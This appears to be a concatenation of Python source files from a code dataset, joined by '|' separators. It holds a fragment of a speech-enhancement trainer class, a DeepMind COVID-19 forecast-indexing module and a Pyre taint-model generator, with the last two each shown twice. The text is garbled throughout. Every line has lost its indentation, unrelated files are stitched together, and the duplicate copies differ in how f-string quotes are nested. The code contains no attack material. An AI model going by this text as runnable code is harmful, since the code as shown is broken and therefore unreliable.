# Saved in "latest_model.tar"
# Contains all checkpoint information, including the optimizer parameters, the model parameters, etc.
# New checkpoint will overwrite the older one.
torch.save(state_dict, (self.checkpoints_dir / "latest_model.tar").as_posix())
# "model_{epoch_number}.pth"
# Contains only model.
torch.save(state_dict["model"], (self.checkpoints_dir / f"model_{str(epoch).zfill(4)}.pth").as_posix())
# If the model get a best metric score (means "is_best_epoch=True") in the current epoch,
# the model checkpoint will be saved as "best_model.tar"
# The newer best-scored checkpoint will overwrite the older one.
if is_best_epoch:
print(f"\t :smiley: Found a best score in the {epoch} epoch, saving...")
torch.save(state_dict, (self.checkpoints_dir / "best_model.tar").as_posix())
def _is_best_epoch(self, score, save_max_metric_score=True):
"""
Check if the current model got the best metric score
"""
if save_max_metric_score and score >= self.best_score:
self.best_score = score
return True
elif not save_max_metric_score and score <= self.best_score:
self.best_score = score
return True
else:
return False
@staticmethod
def _print_networks(models: list):
print(f"This project contains {len(models)} models, the number of the parameters is: ")
params_of_all_networks = 0
for idx, model in enumerate(models, start=1):
params_of_network = 0
for param in model.parameters():
params_of_network += param.numel()
print(f"\tNetwork {idx}: {params_of_network / 1e6} million.")
params_of_all_networks += params_of_network
print(f"The amount of parameters in the project is {params_of_all_networks / 1e6} million.")
def _set_models_to_train_mode(self):
self.model.train()
def _set_models_to_eval_mode(self):
self.model.eval()
def spec_audio_visualization(self, noisy, enhanced, clean, name, epoch, mark=""):
self.writer.add_audio(f"{mark}_Speech/{name}_Noisy", noisy, epoch, sample_rate=16000)
self.writer.add_audio(f"{mark}_Speech/{name}_Enhanced", enhanced, epoch, sample_rate=16000)
self.writer.add_audio(f"{mark}_Speech/{name}_Clean", clean, epoch, sample_rate=16000)
# Visualize the spectrogram of noisy speech, clean speech, and enhanced speech
noisy_mag, _ = librosa.magphase(self.librosa_stft(noisy, n_fft=320, hop_length=160, win_length=320))
enhanced_mag, _ = librosa.magphase(self.librosa_stft(enhanced, n_fft=320, hop_length=160, win_length=320))
clean_mag, _ = librosa.magphase(self.librosa_stft(clean, n_fft=320, hop_length=160, win_length=320))
fig, axes = plt.subplots(3, 1, figsize=(6, 6))
for k, mag in enumerate([noisy_mag, enhanced_mag, clean_mag]):
axes[k].set_title(
f"mean: {np.mean(mag):.3f}, "
f"std: {np.std(mag):.3f}, "
f"max: {np.max(mag):.3f}, "
f"min: {np.min(mag):.3f}"
)
librosa.display.specshow(librosa.amplitude_to_db(mag), cmap="magma", y_axis="linear", ax=axes[k], sr=16000)
plt.tight_layout()
self.writer.add_figure(f"{mark}_Spectrogram/{name}", fig, epoch)
def metrics_visualization(self, noisy_list, clean_list, enhanced_list, metrics_list, epoch, num_workers=10,
mark=""):
"""
Get metrics on validation dataset by paralleling.
Notes:
1. You can register other metrics, but STOI and WB_PESQ metrics must be existence. These two metrics are
used for checking if the current epoch is a "best epoch."
2. If you want to use a new metric, you must register it in "utile.
"""
assert "STOI" in metrics_list and "WB_PESQ" in metrics_list, "'STOI' and 'WB_PESQ' must be exist."
# Check if the metric is registered in "util.metrics" file.
for i in metrics_list:
assert i in metrics.REGISTERED_METRICS.keys(), f"{i} is not registered, please check 'util.metrics' file."
stoi_mean = 0.0
wb_pesq_mean = 0.0
for metric_name in metrics_list:
score_on_noisy = Parallel(n_jobs=num_workers)(
delayed(metrics.REGISTERED_METRICS[metric_name])(ref, est) for ref, est in zip(clean_list, noisy_list)
)
score_on_enhanced = Parallel(n_jobs=num_workers)(
delayed(metrics.REGISTERED_METRICS[metric_name])(ref, est) for ref, est in
zip(clean_list, enhanced_list)
)
# Add mean value of the metric to tensorboard
mean_score_on_noisy = np.mean(score_on_noisy)
mean_score_on_enhanced = np.mean(score_on_enhanced)
self.writer.add_scalars(f"{mark}_Validation/{metric_name}", {
"Noisy": mean_score_on_noisy,
"Enhanced": mean_score_on_enhanced
}, epoch)
if metric_name == "STOI":
stoi_mean = mean_score_on_enhanced
if metric_name == "WB_PESQ":
wb_pesq_mean = transform_pesq_range(mean_score_on_enhanced)
return (stoi_mean + wb_pesq_mean) / 2
def train(self):
for epoch in range(self.start_epoch, self.epochs + 1):
if self.rank == 0:
print(f"{'=' * 15} {epoch} epoch {'=' * 15}")
print("[0 seconds] Begin training...")
# [debug validation] Only run validation (only use the first GPU (process))
# inference + calculating metrics + saving checkpoints
if self.only_validation and self.rank == 0:
self._set_models_to_eval_mode()
metric_score = self._validation_epoch(epoch)
if self._is_best_epoch(metric_score, save_max_metric_score=self.save_max_metric_score):
self._save_checkpoint(epoch, is_best_epoch=True)
# Skip the following regular training, saving checkpoints, and validation
continue
# Regular training
timer = ExecutionTime()
self._set_models_to_train_mode()
self._train_epoch(epoch)
# Regular save checkpoints
if self.rank == 0 and self.save_checkpoint_interval != 0 and (epoch % self.save_checkpoint_interval == 0):
self._save_checkpoint(epoch)
# Regular validation
if self.rank == 0 and (epoch % self.validation_interval == 0):
print(f"[{timer.duration()} seconds] Training has finished, validation is in progress...")
self._set_models_to_eval_mode()
metric_score = self._validation_epoch(epoch)
if self._is_best_epoch(metric_score, save_max_metric_score=self.save_max_metric_score):
self._save_checkpoint(epoch, is_best_epoch=True)
if self.rank == 0:
print(f"[{timer.duration()} seconds] This epoch is finished.")
def _train_epoch(self, epoch):
raise NotImplementedError
def _validation_epoch(self, epoch):
raise NotImplementedError
|
# pylint: disable=g-bad-file-header
# Copyright 2020 DeepMind Technologies Limited. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
"""Tools for indexing forecasts."""
import datetime
import os
from typing import Any, Dict, Sequence, Optional, Union
from absl import logging
from dm_c19_modelling.evaluation import base_indexing
from dm_c19_modelling.evaluation import constants
from dm_c19_modelling.evaluation import dataset_indexing
import numpy as np
import pandas as pd
# Internal imports.
class ForecastIndex(base_indexing.BaseIndex):
"""Manages loading, querying, and adding entries to an index of forecasts."""
@property
def _index_type(self):
return "forecast"
@property
def _additional_fields(self):
return ("last_observation_date", "forecast_id", "cadence", "features_used",)
def load_file_by_key(self,
key: str,
validate: bool = True) -> pd.DataFrame:
"""Loads the file contained in the index entry with the given key."""
entry = self.get_entry(key)
file_location = entry["file_location"]
if validate:
base_indexing.validate_path(file_location)
logging.info("Loading forecasts from %s", file_location)
with open(file_location, "r") as fid:
return pd.read_csv(fid, keep_default_na=False,
na_values=[""], dtype={constants.SITE_ID: str})
def _validate_file_in_entry(self,
entry: base_indexing.IndexEntryType) -> None:
"""Validates that contents of forecasts adhere to the expected format."""
file_location = entry["file_location"]
with open(file_location, "r") as fid:
df = pd.read_csv(fid, keep_default_na=False,
na_values=[""], dtype={constants.SITE_ID: str})
required_columns = set([constants.PREDICTION, constants.DATE,
constants.SITE_ID, constants.TARGET_NAME])
if set(required_columns) != set(df.columns):
raise ValueError(
f"Forecasts must have columns: {", ".join(sorted(required_columns))}."
f" Has columns: {", ".join(sorted(df.columns))}")
if pd.isnull(df[constants.PREDICTION]).any():
raise ValueError("NaNs founds in forecasts")
for _, preds_per_site_target in df.groupby(
[constants.SITE_ID, constants.TARGET_NAME]):
# Check that the diff in dates for all but the first element is always
# the same (pandas computes a backwards diff and returns NaN for the first
# element.
date_diffs = pd.to_datetime(preds_per_site_target[constants.DATE]).diff()
if len(date_diffs) > 1 and not (
date_diffs.iloc[1:] == pd.Timedelta(entry["cadence"], "D")).all():
raise ValueError("Inconsistent cadence found in forecasts")
if pd.pivot_table(
df,
index=[constants.DATE, constants.SITE_ID, constants.TARGET_NAME],
dropna=False).isna().any().any():
raise ValueError("Missing data found in the forecasts: at least one site "
"does not have forecasts for all the evaluation dates "
"and all of the targets.")
for target_name in df["target_name"].unique():
try:
constants.Targets(target_name)
except ValueError:
raise ValueError(f"Invalid target in forecasts: {target_name}")
def query_by_forecast_id(self, forecast_id: str) -> Union[str, None]:
"""Gets the key in the index corresponding to the given forecast ID."""
if forecast_id in self._index_dict:
return forecast_id
else:
return None
def build_predictions_df(predictions: np.ndarray, dates: np.ndarray,
sites: np.ndarray,
target_names: np.ndarray) -> pd.DataFrame:
"""Builds a dataframe of predictions per site, date and target.
Args:
predictions: an array of shape (num_forecast_dates, num_sites, num_targets)
containing model predictions for the evaluation dates.
dates: an array of shape (num_forecast_dates), specifying the evaluation
dates.
sites: an array of shape (num_sites), specifying the site IDs.
target_names: an array of shape (num_targets), specifying the names of the
targets which are being predicted.
Returns:
A dataframe with columns ("date", "site_id", "target_name", "prediction")
"""
expected_predictions_shape = (len(dates), len(sites), len(target_names))
if not np.equal(predictions.shape, expected_predictions_shape).all():
raise ValueError(f"Predictions have unexpected shape {predictions.shape}. "
f"Expected {expected_predictions_shape}")
# Construct a dataframe of predictions for each target then concatenate them
target_dfs = []
for idx, target_name in enumerate(target_names):
target_df = pd.DataFrame(data=predictions[:, :, idx], columns=sites)
target_df[constants.DATE] = dates
target_df = target_df.melt(
id_vars=constants.DATE,
value_vars=sites,
var_name=constants.SITE_ID,
value_name=constants.PREDICTION)
target_df[constants.TARGET_NAME] = target_name
target_dfs.append(target_df)
df = pd.concat(target_dfs)
return df
def build_entry(forecast_id: str, file_location: str, dataset_name: str,
last_observation_date: str, creation_timestamp: str,
dataset_index_key: str, dataset_location: str, cadence: int,
extra_info: Dict[str, Any],
features_used: Optional[Sequence[str]] = None,
) -> base_indexing.IndexEntryType:
"""Builds an entry into a forecast index.
Args:
forecast_id: the unique identifier of the forecasts.
file_location: the path to the forecasts on disk.
dataset_name: the name of the dataset that the forecasts refer to.
last_observation_date: the last date of ground truth that was used to train
the model.
creation_timestamp: the datetime at which the forecasts were created.
dataset_index_key: the key into the dataset index of the dataset that
was used to train the model.
dataset_location: the path to the dataset file that the model was trained
on.
cadence: the cadence in days of the predictions. i.e. daily predictions have
a cadence of 1, weekly predictions have a cadence of 7.
extra_info: any extra information that is useful to store alongside the
rest of the forecast metadata. Usually includes the a description of the
model.
features_used: the features that were used as inputs to produce the
forecasts.
Returns:
An entry for this forecast that can be added to the forecast index.
"""
return {
"forecast_id": forecast_id,
"file_location": file_location,
"dataset_name": dataset_name,
"last_observation_date": last_observation_date,
"cadence": cadence,
"creation_timestamp": creation_timestamp,
"source_data_info": {"dataset_key": dataset_index_key,
"dataset_location": dataset_location},
"features_used": features_used if features_used else "N/A",
"extra_info": extra_info
}
def save_predictions_df(predictions_df: np.ndarray,
directory: str,
last_observation_date: str,
forecast_horizon: int,
model_description: Optional[Dict[str, str]],
dataset_name: str,
dataset_index_key: str,
cadence: int,
extra_info: Optional[Dict[str, str]],
features_used: Optional[Sequence[str]] = None) -> str:
"""Saves a formatted predictions dataframe and updates a forecast indexer.
Args:
predictions_df: a dataframe of predictions, with columns ['date', 'site_id',
'prediction', 'target_name']
directory: the base directory to store indexes and forecasts.
last_observation_date: the date string corresponding to the last date of
data that the model had access to during training.
forecast_horizon: the maximum number of days into the future that the model
predicts.
model_description: optional description of the model.
dataset_name: the name of the dataset.
dataset_index_key: the unique key into the dataset index that contains the
training dataset that the model was trained on.
cadence: the cadence in days of the predictions. i.e. daily predictions have
a cadence of 1, weekly predictions have a cadence of 7.
extra_info: a dict of any additional information to store with the
forecasts.
features_used: the features that were used as inputs to produce the
forecasts.
Returns:
the unique forecast ID that this forecast is saved under.
"""
unique_key = base_indexing.get_unique_key()
forecast_directory = os.path.join(directory, "forecasts")
if not os.path.exists(forecast_directory):
os.makedirs(forecast_directory)
output_filepath = os.path.join(forecast_directory,
f"forecasts_{unique_key}.csv")
assert not os.path.exists(output_filepath), (
f"Forecasts already exist at {output_filepath}")
with open(output_filepath, "w") as fid:
predictions_df.to_csv(fid, index=False)
logging.info("Saved model forecasts with forecast ID %s to %s", unique_key,
output_filepath)
extra_info = extra_info or {}
extra_info["forecast_horizon"] = forecast_horizon
if model_description is not None:
extra_info["model_description"] = model_description
current_datetime = datetime.datetime.utcnow()
dataset_index = dataset_indexing.DatasetIndex(directory, dataset_name)
dataset_location = dataset_index.get_entry(dataset_index_key)["file_location"]
entry = build_entry(
forecast_id=unique_key,
file_location=output_filepath,
dataset_name=dataset_name,
last_observation_date=last_observation_date,
creation_timestamp=current_datetime.strftime(constants.DATETIME_FORMAT),
dataset_index_key=dataset_index_key,
dataset_location=dataset_location,
cadence=cadence,
features_used=features_used,
extra_info=extra_info)
base_indexing.open_index_and_add_entry(
directory, dataset_name, index_class=ForecastIndex, key=unique_key,
entry=entry)
return unique_key
| # pylint: disable=g-bad-file-header
# Copyright 2020 DeepMind Technologies Limited. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
"""Tools for indexing forecasts."""
import datetime
import os
from typing import Any, Dict, Sequence, Optional, Union
from absl import logging
from dm_c19_modelling.evaluation import base_indexing
from dm_c19_modelling.evaluation import constants
from dm_c19_modelling.evaluation import dataset_indexing
import numpy as np
import pandas as pd
# Internal imports.
class ForecastIndex(base_indexing.BaseIndex):
"""Manages loading, querying, and adding entries to an index of forecasts."""
@property
def _index_type(self):
return "forecast"
@property
def _additional_fields(self):
return ("last_observation_date", "forecast_id", "cadence", "features_used",)
def load_file_by_key(self,
key: str,
validate: bool = True) -> pd.DataFrame:
"""Loads the file contained in the index entry with the given key."""
entry = self.get_entry(key)
file_location = entry["file_location"]
if validate:
base_indexing.validate_path(file_location)
logging.info("Loading forecasts from %s", file_location)
with open(file_location, "r") as fid:
return pd.read_csv(fid, keep_default_na=False,
na_values=[""], dtype={constants.SITE_ID: str})
def _validate_file_in_entry(self,
entry: base_indexing.IndexEntryType) -> None:
"""Validates that contents of forecasts adhere to the expected format."""
file_location = entry["file_location"]
with open(file_location, "r") as fid:
df = pd.read_csv(fid, keep_default_na=False,
na_values=[""], dtype={constants.SITE_ID: str})
required_columns = set([constants.PREDICTION, constants.DATE,
constants.SITE_ID, constants.TARGET_NAME])
if set(required_columns) != set(df.columns):
raise ValueError(
f"Forecasts must have columns: {', '.join(sorted(required_columns))}."
f" Has columns: {', '.join(sorted(df.columns))}")
if pd.isnull(df[constants.PREDICTION]).any():
raise ValueError("NaNs founds in forecasts")
for _, preds_per_site_target in df.groupby(
[constants.SITE_ID, constants.TARGET_NAME]):
# Check that the diff in dates for all but the first element is always
# the same (pandas computes a backwards diff and returns NaN for the first
# element.
date_diffs = pd.to_datetime(preds_per_site_target[constants.DATE]).diff()
if len(date_diffs) > 1 and not (
date_diffs.iloc[1:] == pd.Timedelta(entry["cadence"], "D")).all():
raise ValueError("Inconsistent cadence found in forecasts")
if pd.pivot_table(
df,
index=[constants.DATE, constants.SITE_ID, constants.TARGET_NAME],
dropna=False).isna().any().any():
raise ValueError("Missing data found in the forecasts: at least one site "
"does not have forecasts for all the evaluation dates "
"and all of the targets.")
for target_name in df["target_name"].unique():
try:
constants.Targets(target_name)
except ValueError:
raise ValueError(f"Invalid target in forecasts: {target_name}")
def query_by_forecast_id(self, forecast_id: str) -> Union[str, None]:
"""Gets the key in the index corresponding to the given forecast ID."""
if forecast_id in self._index_dict:
return forecast_id
else:
return None
def build_predictions_df(predictions: np.ndarray, dates: np.ndarray,
sites: np.ndarray,
target_names: np.ndarray) -> pd.DataFrame:
"""Builds a dataframe of predictions per site, date and target.
Args:
predictions: an array of shape (num_forecast_dates, num_sites, num_targets)
containing model predictions for the evaluation dates.
dates: an array of shape (num_forecast_dates), specifying the evaluation
dates.
sites: an array of shape (num_sites), specifying the site IDs.
target_names: an array of shape (num_targets), specifying the names of the
targets which are being predicted.
Returns:
A dataframe with columns ("date", "site_id", "target_name", "prediction")
"""
expected_predictions_shape = (len(dates), len(sites), len(target_names))
if not np.equal(predictions.shape, expected_predictions_shape).all():
raise ValueError(f"Predictions have unexpected shape {predictions.shape}. "
f"Expected {expected_predictions_shape}")
# Construct a dataframe of predictions for each target then concatenate them
target_dfs = []
for idx, target_name in enumerate(target_names):
target_df = pd.DataFrame(data=predictions[:, :, idx], columns=sites)
target_df[constants.DATE] = dates
target_df = target_df.melt(
id_vars=constants.DATE,
value_vars=sites,
var_name=constants.SITE_ID,
value_name=constants.PREDICTION)
target_df[constants.TARGET_NAME] = target_name
target_dfs.append(target_df)
df = pd.concat(target_dfs)
return df
def build_entry(forecast_id: str, file_location: str, dataset_name: str,
last_observation_date: str, creation_timestamp: str,
dataset_index_key: str, dataset_location: str, cadence: int,
extra_info: Dict[str, Any],
features_used: Optional[Sequence[str]] = None,
) -> base_indexing.IndexEntryType:
"""Builds an entry into a forecast index.
Args:
forecast_id: the unique identifier of the forecasts.
file_location: the path to the forecasts on disk.
dataset_name: the name of the dataset that the forecasts refer to.
last_observation_date: the last date of ground truth that was used to train
the model.
creation_timestamp: the datetime at which the forecasts were created.
dataset_index_key: the key into the dataset index of the dataset that
was used to train the model.
dataset_location: the path to the dataset file that the model was trained
on.
cadence: the cadence in days of the predictions. i.e. daily predictions have
a cadence of 1, weekly predictions have a cadence of 7.
extra_info: any extra information that is useful to store alongside the
rest of the forecast metadata. Usually includes the a description of the
model.
features_used: the features that were used as inputs to produce the
forecasts.
Returns:
An entry for this forecast that can be added to the forecast index.
"""
return {
"forecast_id": forecast_id,
"file_location": file_location,
"dataset_name": dataset_name,
"last_observation_date": last_observation_date,
"cadence": cadence,
"creation_timestamp": creation_timestamp,
"source_data_info": {"dataset_key": dataset_index_key,
"dataset_location": dataset_location},
"features_used": features_used if features_used else "N/A",
"extra_info": extra_info
}
def save_predictions_df(predictions_df: np.ndarray,
directory: str,
last_observation_date: str,
forecast_horizon: int,
model_description: Optional[Dict[str, str]],
dataset_name: str,
dataset_index_key: str,
cadence: int,
extra_info: Optional[Dict[str, str]],
features_used: Optional[Sequence[str]] = None) -> str:
"""Saves a formatted predictions dataframe and updates a forecast indexer.
Args:
predictions_df: a dataframe of predictions, with columns ['date', 'site_id',
'prediction', 'target_name']
directory: the base directory to store indexes and forecasts.
last_observation_date: the date string corresponding to the last date of
data that the model had access to during training.
forecast_horizon: the maximum number of days into the future that the model
predicts.
model_description: optional description of the model.
dataset_name: the name of the dataset.
dataset_index_key: the unique key into the dataset index that contains the
training dataset that the model was trained on.
cadence: the cadence in days of the predictions. i.e. daily predictions have
a cadence of 1, weekly predictions have a cadence of 7.
extra_info: a dict of any additional information to store with the
forecasts.
features_used: the features that were used as inputs to produce the
forecasts.
Returns:
the unique forecast ID that this forecast is saved under.
"""
unique_key = base_indexing.get_unique_key()
forecast_directory = os.path.join(directory, "forecasts")
if not os.path.exists(forecast_directory):
os.makedirs(forecast_directory)
output_filepath = os.path.join(forecast_directory,
f"forecasts_{unique_key}.csv")
assert not os.path.exists(output_filepath), (
f"Forecasts already exist at {output_filepath}")
with open(output_filepath, "w") as fid:
predictions_df.to_csv(fid, index=False)
logging.info("Saved model forecasts with forecast ID %s to %s", unique_key,
output_filepath)
extra_info = extra_info or {}
extra_info["forecast_horizon"] = forecast_horizon
if model_description is not None:
extra_info["model_description"] = model_description
current_datetime = datetime.datetime.utcnow()
dataset_index = dataset_indexing.DatasetIndex(directory, dataset_name)
dataset_location = dataset_index.get_entry(dataset_index_key)["file_location"]
entry = build_entry(
forecast_id=unique_key,
file_location=output_filepath,
dataset_name=dataset_name,
last_observation_date=last_observation_date,
creation_timestamp=current_datetime.strftime(constants.DATETIME_FORMAT),
dataset_index_key=dataset_index_key,
dataset_location=dataset_location,
cadence=cadence,
features_used=features_used,
extra_info=extra_info)
base_indexing.open_index_and_add_entry(
directory, dataset_name, index_class=ForecastIndex, key=unique_key,
entry=entry)
return unique_key
|
# Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
# pyre-strict
import _ast
import abc
import ast
import logging
from typing import Callable, Iterable, List, Optional, Set, Union
from ...api import query
from .generator_specifications import (
AnnotationSpecification,
ParameterAnnotation,
WhitelistSpecification,
)
from .inspect_parser import extract_parameters, extract_qualified_name
from .parameter import Parameter
FunctionDefinition = Union[_ast.FunctionDef, _ast.AsyncFunctionDef]
LOG: logging.Logger = logging.getLogger(__name__)
class Model(abc.ABC):
def __lt__(self, other: "Model") -> bool:
return str(self) < str(other)
@abc.abstractmethod
def __eq__(self) -> int:
...
@abc.abstractmethod
def __hash__(self) -> int:
...
class RawCallableModel(Model):
callable_name: str
parameters: List[Parameter]
annotations: AnnotationSpecification
whitelist: WhitelistSpecification
returns: Optional[str] = None
def __init__(
self,
parameter_annotation: Optional[ParameterAnnotation] = None,
returns: Optional[str] = None,
parameter_type_whitelist: Optional[Iterable[str]] = None,
parameter_name_whitelist: Optional[Set[str]] = None,
annotations: Optional[AnnotationSpecification] = None,
whitelist: Optional[WhitelistSpecification] = None,
) -> None:
if annotations:
self.annotations = annotations
else:
self.annotations = AnnotationSpecification(
parameter_annotation=parameter_annotation, returns=returns
)
if whitelist:
self.whitelist = whitelist
else:
self.whitelist = WhitelistSpecification(
parameter_type=set(parameter_type_whitelist)
if parameter_type_whitelist
else None,
parameter_name=parameter_name_whitelist,
)
callable_name = self._get_fully_qualified_callable_name()
# Object construction should fail if any child class passes in a None.
if not callable_name or "-" in callable_name:
raise ValueError("The callable is not supported")
self.callable_name = callable_name
self.parameters = self._generate_parameters()
@abc.abstractmethod
def _generate_parameters(self) -> List["Parameter"]:
...
@abc.abstractmethod
def _get_fully_qualified_callable_name(self) -> Optional[str]:
...
def __str__(self) -> str:
serialized_parameters = []
name_whitelist = self.whitelist.parameter_name
type_whitelist = self.whitelist.parameter_type
for parameter in self.parameters:
should_annotate = True
if name_whitelist is not None and parameter.name in name_whitelist:
should_annotate = False
if type_whitelist is not None and parameter.annotation in type_whitelist:
should_annotate = False
if should_annotate:
parameter_annotation = self.annotations.parameter_annotation
if parameter_annotation is not None:
taint = parameter_annotation.get(parameter)
else:
taint = None
else:
taint = None
# * parameters indicate kwargs after the parameter position, and can't be
# tainted. Example: `def foo(x, *, y): ...`
if parameter.name != "*" and taint:
serialized_parameters.append(f"{parameter.name}: {taint}")
else:
serialized_parameters.append(parameter.name)
returns = self.annotations.returns
if returns:
return_annotation = f" -> {returns}"
else:
return_annotation = ""
return (
f"def {self.callable_name}({", ".join(serialized_parameters)})"
f"{return_annotation}: ..."
)
def __eq__(self, other: object) -> bool:
if not isinstance(other, RawCallableModel):
return False
return (
self.callable_name == other.callable_name
and self.parameters == other.parameters
)
# Need to explicitly define this(despite baseclass) as we are overriding eq
def __hash__(self) -> int:
parameter_names_string = ",".join(
map(
lambda parameter: f"{parameter.name}:{parameter.annotation}"
if parameter.annotation
else f"{parameter.name}:_empty",
self.parameters,
)
)
return hash((self.callable_name, parameter_names_string))
class CallableModel(RawCallableModel):
callable_object: Callable[..., object]
def __init__(
self,
callable_object: Callable[..., object],
parameter_annotation: Optional[ParameterAnnotation] = None,
returns: Optional[str] = None,
parameter_type_whitelist: Optional[Iterable[str]] = None,
parameter_name_whitelist: Optional[Set[str]] = None,
annotations: Optional[AnnotationSpecification] = None,
whitelist: Optional[WhitelistSpecification] = None,
) -> None:
self.callable_object = callable_object
super().__init__(
parameter_annotation=parameter_annotation,
returns=returns,
parameter_type_whitelist=parameter_type_whitelist,
parameter_name_whitelist=parameter_name_whitelist,
annotations=annotations,
whitelist=whitelist,
)
def _generate_parameters(self) -> List[Parameter]:
return extract_parameters(self.callable_object)
def _get_fully_qualified_callable_name(self) -> Optional[str]:
return extract_qualified_name(self.callable_object)
class FunctionDefinitionModel(RawCallableModel):
definition: FunctionDefinition
qualifier: Optional[str] = None
def __init__(
self,
definition: FunctionDefinition,
qualifier: Optional[str] = None,
parameter_annotation: Optional[ParameterAnnotation] = None,
returns: Optional[str] = None,
parameter_type_whitelist: Optional[Iterable[str]] = None,
parameter_name_whitelist: Optional[Set[str]] = None,
annotations: Optional[AnnotationSpecification] = None,
whitelist: Optional[WhitelistSpecification] = None,
) -> None:
self.definition = definition
self.qualifier = qualifier
super().__init__(
parameter_annotation=parameter_annotation,
returns=returns,
parameter_type_whitelist=parameter_type_whitelist,
parameter_name_whitelist=parameter_name_whitelist,
annotations=annotations,
whitelist=whitelist,
)
@staticmethod
def _get_annotation(ast_arg: ast.arg) -> Optional[str]:
annotation = ast_arg.annotation
if annotation and isinstance(annotation, _ast.Name):
return annotation.id
else:
return None
def _generate_parameters(self) -> List[Parameter]:
parameters: List[Parameter] = []
function_arguments = self.definition.args
for ast_arg in function_arguments.args:
parameters.append(
Parameter(
ast_arg.arg,
FunctionDefinitionModel._get_annotation(ast_arg),
Parameter.Kind.ARG,
)
)
keyword_only_parameters = function_arguments.kwonlyargs
if len(keyword_only_parameters) > 0:
parameters.append(
Parameter(name="*", annotation=None, kind=Parameter.Kind.ARG)
)
for parameter in keyword_only_parameters:
parameters.append(
Parameter(
parameter.arg,
FunctionDefinitionModel._get_annotation(parameter),
Parameter.Kind.ARG,
)
)
vararg_parameters = function_arguments.vararg
if isinstance(vararg_parameters, ast.arg):
parameters.append(
Parameter(
f"*{vararg_parameters.arg}",
FunctionDefinitionModel._get_annotation(vararg_parameters),
Parameter.Kind.VARARG,
)
)
kwarg_parameters = function_arguments.kwarg
if isinstance(kwarg_parameters, ast.arg):
parameters.append(
Parameter(
f"**{kwarg_parameters.arg}",
FunctionDefinitionModel._get_annotation(kwarg_parameters),
Parameter.Kind.KWARG,
)
)
return parameters
def _get_fully_qualified_callable_name(self) -> Optional[str]:
qualifier = f"{self.qualifier}." if self.qualifier else ""
fn_name = self.definition.name
return qualifier + fn_name
class PyreFunctionDefinitionModel(RawCallableModel):
definition: query.Define
def __init__(
self,
definition: query.Define,
parameter_annotation: Optional[ParameterAnnotation] = None,
returns: Optional[str] = None,
parameter_type_whitelist: Optional[Iterable[str]] = None,
parameter_name_whitelist: Optional[Set[str]] = None,
annotations: Optional[AnnotationSpecification] = None,
whitelist: Optional[WhitelistSpecification] = None,
) -> None:
self.definition = definition
super().__init__(
parameter_annotation=parameter_annotation,
returns=returns,
parameter_type_whitelist=parameter_type_whitelist,
parameter_name_whitelist=parameter_name_whitelist,
annotations=annotations,
whitelist=whitelist,
)
def _generate_parameters(self) -> List[Parameter]:
parameters: List[Parameter] = []
for parameter in self.definition.parameters:
if "**" in parameter.name:
kind = Parameter.Kind.KWARG
elif "*" in parameter.name:
kind = Parameter.Kind.VARARG
else:
kind = Parameter.Kind.ARG
parameters.append(
Parameter(
name=parameter.name, annotation=parameter.annotation, kind=kind
)
)
return parameters
def _get_fully_qualified_callable_name(self) -> Optional[str]:
return self.definition.name
class AssignmentModel(Model):
annotation: str
target: str
def __init__(self, annotation: str, target: str) -> None:
if "-" in target:
raise ValueError("The target is not supported")
self.annotation = annotation
self.target = target
def __str__(self) -> str:
return f"{self.target}: {self.annotation} = ..."
def __eq__(self, other: object) -> bool:
if not isinstance(other, AssignmentModel):
return False
return self.target == other.target
def __hash__(self) -> int:
return hash(self.target)
class ClassModel(Model):
class_name: str
annotation: str
def __init__(self, class_name: str, annotation: str) -> None:
self.class_name = class_name
self.annotation = annotation
def __str__(self) -> str:
return f"class {self.class_name}({self.annotation}): ..."
def __eq__(self, other: object) -> bool:
if not isinstance(other, ClassModel):
return False
return self.class_name == other.class_name
def __hash__(self) -> int:
return hash(self.class_name)
class PropertyModel(Model):
def __init__(self, class_name: str, attribute_name: str, annotation: str) -> None:
self.class_name = class_name
self.attribute_name = attribute_name
self.annotation = annotation
def __str__(self) -> str:
return f"@property\ndef {self.class_name}.{self.attribute_name}(self) -> {self.annotation}: ..." # noqa B950
def __eq__(self, other: object) -> bool:
if not isinstance(other, PropertyModel):
return False
return (
self.class_name == other.class_name
and self.attribute_name == other.attribute_name
)
def __hash__(self) -> int:
return hash((self.class_name, self.attribute_name))
| # Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
# pyre-strict
import _ast
import abc
import ast
import logging
from typing import Callable, Iterable, List, Optional, Set, Union
from ...api import query
from .generator_specifications import (
AnnotationSpecification,
ParameterAnnotation,
WhitelistSpecification,
)
from .inspect_parser import extract_parameters, extract_qualified_name
from .parameter import Parameter
FunctionDefinition = Union[_ast.FunctionDef, _ast.AsyncFunctionDef]
LOG: logging.Logger = logging.getLogger(__name__)
class Model(abc.ABC):
def __lt__(self, other: "Model") -> bool:
return str(self) < str(other)
@abc.abstractmethod
def __eq__(self) -> int:
...
@abc.abstractmethod
def __hash__(self) -> int:
...
class RawCallableModel(Model):
callable_name: str
parameters: List[Parameter]
annotations: AnnotationSpecification
whitelist: WhitelistSpecification
returns: Optional[str] = None
def __init__(
self,
parameter_annotation: Optional[ParameterAnnotation] = None,
returns: Optional[str] = None,
parameter_type_whitelist: Optional[Iterable[str]] = None,
parameter_name_whitelist: Optional[Set[str]] = None,
annotations: Optional[AnnotationSpecification] = None,
whitelist: Optional[WhitelistSpecification] = None,
) -> None:
if annotations:
self.annotations = annotations
else:
self.annotations = AnnotationSpecification(
parameter_annotation=parameter_annotation, returns=returns
)
if whitelist:
self.whitelist = whitelist
else:
self.whitelist = WhitelistSpecification(
parameter_type=set(parameter_type_whitelist)
if parameter_type_whitelist
else None,
parameter_name=parameter_name_whitelist,
)
